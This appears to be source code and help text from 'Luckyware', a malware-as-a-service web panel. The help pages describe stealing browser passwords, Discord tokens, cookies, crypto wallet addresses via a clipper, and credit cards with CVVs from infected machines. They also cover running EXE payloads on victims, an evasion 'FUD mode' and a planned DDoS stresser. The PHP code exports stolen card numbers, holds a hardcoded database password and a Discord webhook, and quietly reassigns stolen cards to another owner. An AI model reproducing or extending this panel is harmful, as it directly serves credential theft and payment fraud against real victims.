pure C++, making them highly persistent once executed on a target machine. Luckyware web panel is not mobile friendly, it is recommended to use it on a PC or laptop. Preferably on a device with a 1080x1920 resolution. All features are experimental for now with no guarentee of function.
</h1>
</div>
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="1 block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">Trust</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">A common concern for new users is trust, how can
you securely manage countless connections through a web-based service? The answer lies in two
key factors. First, Lucky Services has established a trusted reputation over the years,
providing reliable connection management to thousands of users, with over 100,000 infections
handled.
The second and most critical factor is LSTA (Lucky Services Trust Algorithm), developed by
Hopesar. LSTA ensures the security of user data through a simple yet effective process: When you
register, your password is stored in the database. Upon creating your first build, your password
is linked to it. Once your first connection is received, its details are encrypted from
client-side with your password by your stub and then gets sent to the server to be stored in the
database. At this point, your password is deleted from the database. For subsequent logins, the
system verifies your password by checking if it can decrypt the stored data.
With LSTA, your connection data and logs remain secure and inaccessible to anyone, even if the
database were compromised. This algorithm has been successfully used in Luckycharm and
Luckyminer and is now a core feature of Lucky Ware, ensuring unparalleled security for your
connections.
</h1>
</div>
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="1 block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">Support</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">If you have any additional questions or need
further assistance, feel free to reach out to @gh1s5 on Discord or @hopesar on Telegram. They
are available to help with any queries you may have.
</h1>
</div>
</div>
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
class="fa-solid fa-house mr-1 icon2"></i> Dashboard</h1>
<hr class="mx-5 mt-2 border-stone-800">
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
Lucky Ware dashboard is where you can view and interact with your connections, stay updated with
the latest announcements, and check system status.
</h1>
</div>
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="1 block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">Actions</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">On the Lucky Ware dashboard, you'll find three
buttons: Information, Execute, and Delete. The Information button displays additional details
not shown in the table. The Execute button allows actions like file execution or data download like Cookies (Cookie logging is still on beta and it may not log cookies on some devices.), Passwords, Tokens;
note that due to Lucky Ware's PHP-based system, execution may take up to 100 seconds. Lastly,
the Delete button removes the connection log permanently.
</h1>
</div>
</div>
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
class="fa-solid fa-hammer mr-1 icon2"></i> Builder</h1>
<hr class="mx-5 mt-2 border-stone-800">
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
The Lucky Ware builder allows you to create a Lucky Ware stub directly in your browser. The
build process typically takes 20-40 seconds and is fully web-based. Luckyware stubs require C++ Redistributable installed on a PC.
</h1>
</div>
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="1 block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">Settings</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">In the Lucky Ware builder's settings tab, the only
modifiable variable is the webhook, which must be a Discord webhook. Changing the webhook does
not affect your current build, as the webhook is server-based and notifications are sent from
the server. Once updated, logs from all your builds will be sent to the new webhook.
</h1>
</div>
</div>
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
class="fa-solid fa-key mr-1 icon2"></i> Passwords</h1>
<hr class="mx-5 mt-2 border-stone-800">
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
The Lucky Ware Passwords tab allows you to view passwords logged by Lucky Ware. You can browse
them in the data table and use the search functionality to filter results. The download feature
for bulk password exports is located on the Dashboard. Currently, Lucky Ware only logs Edge and
Chrome passwords.
Passwords are one-time logs. If a connection already has passwords stored in the database, no
new passwords will be logged, even if the user has additional ones. To log new passwords, you
must purge the existing passwords for that connection via the dashboard. This ensures that the
next time the connection goes online, any new passwords will be captured.
</h1>
</div>
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">Layout</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
If you press on the url it will open the website in a new tab, if you press on the
username it will copy the username to your clipboard, and if you press on the password it will copy the password to your clipboard.
</h1>
</div>
</div>
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
class="fa-solid fa-hexagon-nodes mr-1 icon2"></i> Stresser Hub</h1>
<hr class="mx-5 mt-2 border-stone-800">
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
The Lucky Ware Stresser Hub is designed for performing Layer 4 and Layer 7 stressing actions
using your connections. However, this tab is currently under development and not yet available
for public use.
</h1>
</div>
</div>
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
class="fa-brands fa-discord mr-1 icon2"></i> Tokens</h1>
<hr class="mx-5 mt-2 border-stone-800">
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
The Lucky Ware Tokens tab displays Discord tokens logged from connections. Here, you can perform
actions such as downloading tokens and searching through them.
</h1>
</div>
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="1 block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">Actions</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">On the Lucky Ware Tokens Tab, you'll find Discord
log options with four buttons: Download All Discord Tokens, Download Valid Discord Tokens,
Download Valid + Verified Tokens, and Purge Invalid Logs. These buttons are self-explanatory.
In the data table displaying your token logs, you'll see three action buttons. The first is the
Copy Token button, which will glow red if the token is invalid (checked every 3 hours by Lucky
Ware servers). the Delete button permanently removes the log.
</h1>
</div>
</div>
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
class="fa-solid fa-play mr-1 icon2"></i> Automations</h1>
<hr class="mx-5 mt-2 border-stone-800">
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
The Lucky Ware Automations tab is where you manage automations, which are EXE files set to
execute automatically every time a connection goes online.
</h1>
</div>
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="1 block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">Adding Automations</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">To add automations, use the input box in the
Automations tab. Ensure your EXE file's link is accessible as a raw file (e.g.,
example.com/exefile.exe or test.net/exefile.bin) and hosted in a permanent location to prevent
link expiration. We recommend using GitHub or Catbox.moe for file hosting.
</h1>
</div>
</div>
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
class="fa-solid fa-clipboard mr-1 icon2"></i> Clipper</h1>
<hr class="mx-5 mt-2 border-stone-800">
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
The Lucky Ware Clipper tab is where you configure clipper addresses. The clipper replaces any
crypto address that connection copy with the one you specify in the settings. Since this
configuration is
server-based, once saved, it will apply to all builds universally.
</h1>
</div>
</div>
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
class="fa-solid fa-credit-card mr-1 icon2"></i> Cards</h1>
<hr class="mx-5 mt-2 border-stone-800">
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
The Lucky Ware Cards tab allows you to manage and view credit cards logged from connections. You
can purge all cards, download all logs, or simply browse and search through the card
information.
</h1>
</div>
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="1 block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">HMCA Explained</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">HMCA, or Hopesar's Magnificent Card Algorithm, is
a unique algorithm developed by Hopesar in 2021. It has been exclusively implemented in Lucky
Services Franchise, including Lucky Ware. This algorithm enables Lucky Ware to log card details,
including Card Number, Expiry Date, and notably, the CVV—making Lucky Ware the first and only
service capable of logging CVVs. The data is captured as connections enter card information on
their browsers, apps, or anywhere on their devices. However, due to the nature of HMCA, rare
instances of invalid or "trash" card values (e.g., 42424242...) may occasionally appear in the
logs.
</h1>
</div>
</div>
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2 mb-10">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
class="fa-solid fa-gear mr-1 icon2"></i> Settings</h1>
<hr class="mx-5 mt-2 border-stone-800">
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
The Lucky Ware Settings tab allows you to adjust account security options. You can add a
security webhook to receive notifications on your Discord webhook whenever a new login occurs.
Additionally, you can enable country lock, which restricts logins to the country from which you
are currently accessing your account.
</h1>
</div>
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">FUD Mode</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
Enablind this setting will make Luckyware leave 0 traces or warnings on the device its executed, however this will turn off all the remote feeatures and cookie logging, persistence.
</h1>
</div>
</div>
</div>
</div>
</div> <!-- end -->
<style>
@keyframes topFlyIn {
from {
transform: translateY(-100%);
opacity: 0;
}
to {
transform: translateY(0);
opacity: 1;
}
}
/* Define the left-flying animation keyframes */
@keyframes leftFlyIn {
from {
transform: translateX(-100%);
opacity: 0;
}
to {
transform: translateX(0);
opacity: 1;
}
}
/* Define the right-flying animation keyframes */
@keyframes rightFlyIn {
from {
transform: translateX(100%);
opacity: 0;
}
to {
transform: translateX(0);
opacity: 1;
}
}
/* Define the bottom-flying animation keyframes */
@keyframes bottomFlyIn {
from {
transform: translateY(100%);
opacity: 0;
}
to {
transform: translateY(0);
opacity: 1;
}
}
/* Apply the animation to elements with the respective class */
.top-flying {
animation-name: topFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateY(-100%);
}
.left-flying {
animation-name: leftFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateX(-100%);
}
.right-flying {
animation-name: rightFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateX(100%);
}
.bottom-flying {
animation-name: bottomFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateY(200%);
}
</style>
<style>
input::placeholder {
color: #a8a29e;
}
</style>
<script>
document.addEventListener("DOMContentLoaded", function () {
// Wait for fonts and stylesheets
Promise.all([
document.fonts.ready,
new Promise(resolve => {
// Check if all stylesheets are loaded
const styleSheets = Array.from(document.styleSheets);
if (styleSheets.every(sheet => sheet.loaded !== false)) {
resolve();
} else {
window.addEventListener('load', resolve);
}
})
]).then(() => {
const overlay = document.querySelector('.loading-overlay');
// Add the fade-out class
overlay.classList.add('fade-out');
// Remove the element after the transition completes
overlay.addEventListener('transitionend', function () {
overlay.parentNode.removeChild(overlay);
}, {
once: true
});
});
});
// Preload custom fonts if you're using any
const fonts = ['Kanit'];
fonts.forEach(font => {
new FontFace(font, `url(path/to/${font}.woff2)`)
.load()
.then(loadedFont => document.fonts.add(loadedFont));
});
</script>
</body>
</html>
+3
View File
@@ -0,0 +1,3 @@
<?php
header("Location: ../../Login");
?>
+984
View File
@@ -0,0 +1,984 @@
<?php
session_start();
$domainyess = $_SERVER['HTTP_HOST'];
$secretkey = $_SESSION['secret_key'];
$username = $_SESSION['admin_name'];
$role = $_SESSION['Role'];
if (!isset($_SESSION['admin_name'])) {
header('location:../Login/');
} else {
if ($role == 'Trial') {
header('location: https://' . $domainyess . '/Subscriptions');
}
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
if ($role == 'Founder') {
$selectu = "SELECT * FROM miners";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE LastPing >= $fiveMinutesAgo";
} else {
$selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo";
}
$resultanss = mysqli_query($conn, $selectana);
$myaktv = mysqli_num_rows($resultanss);
}
if (isset($_POST['ides'])) {
if ($role == 'Founder') {
$sqlAQA = "SELECT * FROM Cards";
} else {
$sqlAQA = "SELECT * FROM Cards WHERE OwnerID = '$secretkey'";
}
$resultAQA = $conn->query($sqlAQA);
// Initialize the output
$output = '';
// Process the database results and format them
if ($resultAQA->num_rows > 0) {
while ($RowANAMMM = $resultAQA->fetch_assoc()) {
$output .= $RowANAMMM["Numbery"] . "|" . $RowANAMMM["Expiry"] . "|" . $RowANAMMM["CVV"] . "\n";
}
} else {
$output .= "No Card Data!";
}
$filename = "AllCards.txt";
// Set the appropriate HTTP headers for downloading
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
// Output the data and exit
echo $output;
exit; // This will stop further execution and prevent the unwanted HTML content from being appended.
}
if (isset($_POST['ides'])) {
if ($username == 'Clara') {
$sqlAQA = "SELECT * FROM Cards";
} else {
$sqlAQA = "SELECT * FROM Cards WHERE OwnerID = '$secretkey'";
}
$resultAQA = $conn->query($sqlAQA);
// Initialize the output
$output = '';
// Process the database results and format them
if ($resultAQA->num_rows > 0) {
while ($RowANAMMM = $resultAQA->fetch_assoc()) {
$output .= $RowANAMMM["Numbery"] . "|" . $RowANAMMM["Expiry"] . "|" . $RowANAMMM["CVV"] . "\n";
}
} else {
$output .= "No Card Data!";
}
$filename = "AllCards.txt";
// Set the appropriate HTTP headers for downloading
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
// Output the data and exit
echo $output;
exit; // This will stop further execution and prevent the unwanted HTML content from being appended.
}
if (isset($_POST['id'])) {
$sqlUpdate = "UPDATE Cards SET OwnerID = ? WHERE OwnerID = ?";
$stmtUpdate = $conn->prepare($sqlUpdate);
$newOwnerID = '1tz3w08l5raauuav4r1u'; // Replace with the new OwnerID value
$stmtUpdate->bind_param("ss", $newOwnerID, $secretkey);
$webhookURL44 = 'https://discord.com/api/webhooks/1273355876866064447/_nAh4gFrD3TAdvHWQi5MIefpW0rF6gM5RbTx6qvb3D0nV9w3KH-fi6ic_qwf3D5NBgq5';
$messagerrr = 'New Cards Deleted By ' . $username . ' Cards Swapped To Your Owner Key ';
sendDiscordWebhookMessage($webhookURL44, $messagerrr);
if ($stmtUpdate->execute()) {
} else {
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="../assets/css/custom.css">
<link rel="stylesheet" href="../assets/css/style.css">
<link rel="stylesheet" href="../assets/css/hover.css">
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
<link rel="stylesheet" href="../../assets/fontaw/css/all.min.css">
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.css">
<script type="text/javascript" charset="utf8"
src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.js"></script>
<meta content="Luckyware" property="og:title" />
<meta content="Luck is something you make and victory is something u take" property="og:description" />
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
<title>Passwords</title>
<style>
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: #111111;
z-index: 9999;
display: flex;
justify-content: center;
align-items: center;
opacity: 1;
visibility: visible;
/* Add visibility property */
transition: all 1s ease;
/* Longer transition and apply to all */
}
.loading-overlay.fade-out {
opacity: 0;
visibility: hidden;
/* Hide element after fade */
}
.loading-spinner {
width: 50px;
height: 50px;
border: 3px solid #333;
border-radius: 50%;
border-top-color: #850000;
animation: spin 1s linear infinite;
}
@keyframes spin {
100% {
transform: rotate(360deg);
}
}
/* Custom DataTable styles */
#DashTable {
border-radius: 0.5rem;
background-color: var(--background);
border-collapse: separate;
border-spacing: 0 0.7rem;
width: 100%;
}
#DashTable th {
font-family: 'Kanit', sans-serif;
font-weight: 500;
color: #e7e5e4;
font-weight: bold;
text-align: center;
padding: 10px;
border-bottom: 1px solid var(--background);
}
#DashTable tr {
background-color: var(--background);
border-radius: 0.5rem;
}
#DashTable td {
background-color: #151515;
color: #a8a29e;
text-align: center;
border-bottom: 1px solid var(--background);
padding: 10px;
font-weight: 100;
font-family: 'Kanit', sans-serif;
}
#DashTable td:first-child {
border-radius: 0.5rem 0 0 0.5rem;
/* Rounded corners on the left side */
}
#DashTable td:last-child {
border-radius: 0 0.5rem 0.5rem 0;
/* Rounded corners on the right side */
}
#DashTable tbody tr:hover {
background-color: var(--main-hover-color);
color: #D6D3D1;
}
/* Custom hover link color */
.hover-link {
color: #111111;
transition: color 0.3s ease-in-out;
}
.hover-link:hover {
color: #f54b42;
}
.dataTables_wrapper .dataTables_paginate .paginate_button {
background-color: #151515;
/* Add !important to ensure white color */
border: none;
padding: 7px 10px;
margin: 2px;
cursor: pointer;
color: #a8a29e;
}
.dataTables_wrapper .dataTables_paginate .paginate_button:hover {
background-color: #181818;
border: none;
}
.dataTables_wrapper .dataTables_paginate .paginate_button.current {
background-color: #850000;
color: #e7e5e4;
border: none;
}
/* Text color for elements like "Showing x to x of x entries" */
.dataTables_info,
.dataTables_length,
.dataTables_paginate,
.dataTables_filter {
color: #a8a29e !important;
margin-bottom: 7px;
/* Add space below these elements */
}
/* Add space between "Show entries" and pagination controls */
.dataTables_length,
.dataTables_paginate {
margin-top: 7px;
}
/* Color for the "Show x entries" dropdown and options */
.dataTables_length select {
background-color: #111111 !important;
color: #d6d3d1 !important;
border: 1px solid #181818 !important;
/* Remove border to make it borderless */
padding: 5px;
}
/* Color for the pagination controls */
.dataTables_paginate a,
.dataTables_paginate span,
.dataTables_paginate .ellipsis {
background-color: #111111;
color: #d6d3d1 !important;
/* Important to override DataTable's default styles */
border: none;
padding: 5px 10px;
margin: 2px;
cursor: pointer;
}
/* Hover color for pagination controls */
.dataTables_paginate a:hover {
background-color: #181818;
border: none;
}
/* Current page number color */
.dataTables_paginate .current {
background-color: #850000;
color: #d6d3d1 !important;
/* Important to override DataTable's default styles */
border: none;
}
/* DataTable search box styles */
.dataTables_wrapper .dataTables_filter input {
background-color: var(--background);
color: #ffffff;
border: 1px solid #181818;
/* Add a 1px gray border */
border-radius: 5px;
padding: 5px;
}
/* DataTable ordering arrow styles */
.dataTables_wrapper .dataTables_wrapper .sorting:after,
.dataTables_wrapper .dataTables_wrapper .sorting:before,
.dataTables_wrapper .dataTables_wrapper .sorting_asc:after,
.dataTables_wrapper .dataTables_wrapper .sorting_asc:before,
.dataTables_wrapper .dataTables_wrapper .sorting_desc:after,
.dataTables_wrapper .dataTables_wrapper .sorting_desc:before {
color: var(--main-color);
}
/* DataTable table responsive */
.table-responsive {
background-color: #111111;
color: #D6D3D1;
padding: 15px;
border-radius: 5px;
overflow-x: auto;
}
/* DataTable scrollbar styles (if needed) */
#DashTable::-webkit-scrollbar {
width: 8px;
}
#DashTable::-webkit-scrollbar-thumb {
background-color: var(--main-color);
}
#DashTable::-webkit-scrollbar-track {
background-color: var(--secondary-background);
}
.current {
background-color: #850000;
}
</style>
</head>
<body class="dg">
<div class="loading-overlay">
<div class="loading-spinner"></div>
</div>
<div id="mobile topNav" class="bg xl:hidden"> <!-- MOBILE TOPNAV -->
<div class="grid sm:grid-cols-2 px-5 py-3">
<div class="1 text-left">
<div class="flex">
<img class="w-12" src="https://<?php echo $domainyess; ?>/icon.png" alt="">
<h1 class="py-5 fntBold tracking-wide text-lg text-stone-300 ml-3">Luckyware <span
class="textCol">Dashboard</span></h1>
</div>
</div>
<div class="2 text-right">
<button class="text-xl text-stone-300 py-5"><i class="fa-solid fa-bars"></i></button>
</div>
</div>
</div>
<div class="grid xl:grid-cols-12"> <!-- start -->
<div class="col-span-2 bg xl:grid sm:hidden pb-24 rounded-lg"> <!-- DESKTOP SIDENAV -->
<div class="1">
<div class="flex justify-center mt-10">
<h1 class="text-stone-300 fntBold text-2xl tracking-wide">
Lucky <span class="textCol">Ware</span>
</h1>
</div>
<div class="mx-5 mt-6">
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Dashboard</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-house text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Builder';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Builder</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-hammer text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Passwords';"
class="dg w-full text-left px-5 py-4 rounded-lg btn border-b brdCol mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Password</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-key textCol mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Wallets';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Wallets</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-wallet text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Tokens';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Tokens</h1>
</div>
<div class="2 text-right">
<i class="fa-brands fa-discord text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Automations';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Automations</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-play text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Clipper';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Clipper</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-clipboard text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Cards';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Cards</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-credit-card text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Settings';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Settings</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-gear text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="window.open('https://<?php echo $domainyess; ?>/Dashboard/Information', '_blank');"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Information</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-circle-info text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
</div>
</div>
</div>
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
<div class="grid xl:grid-cols-4 sm:grid-cols-2 gap-5"> <!-- STATS -->
<div class="1 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg w-96"><i
class="fa-solid fa-earth-americas text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Clients</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mytk; ?>
</h1>
</div>
</div>
</div>
<div class="2 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-globe text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Active Clients</h1>
</div>
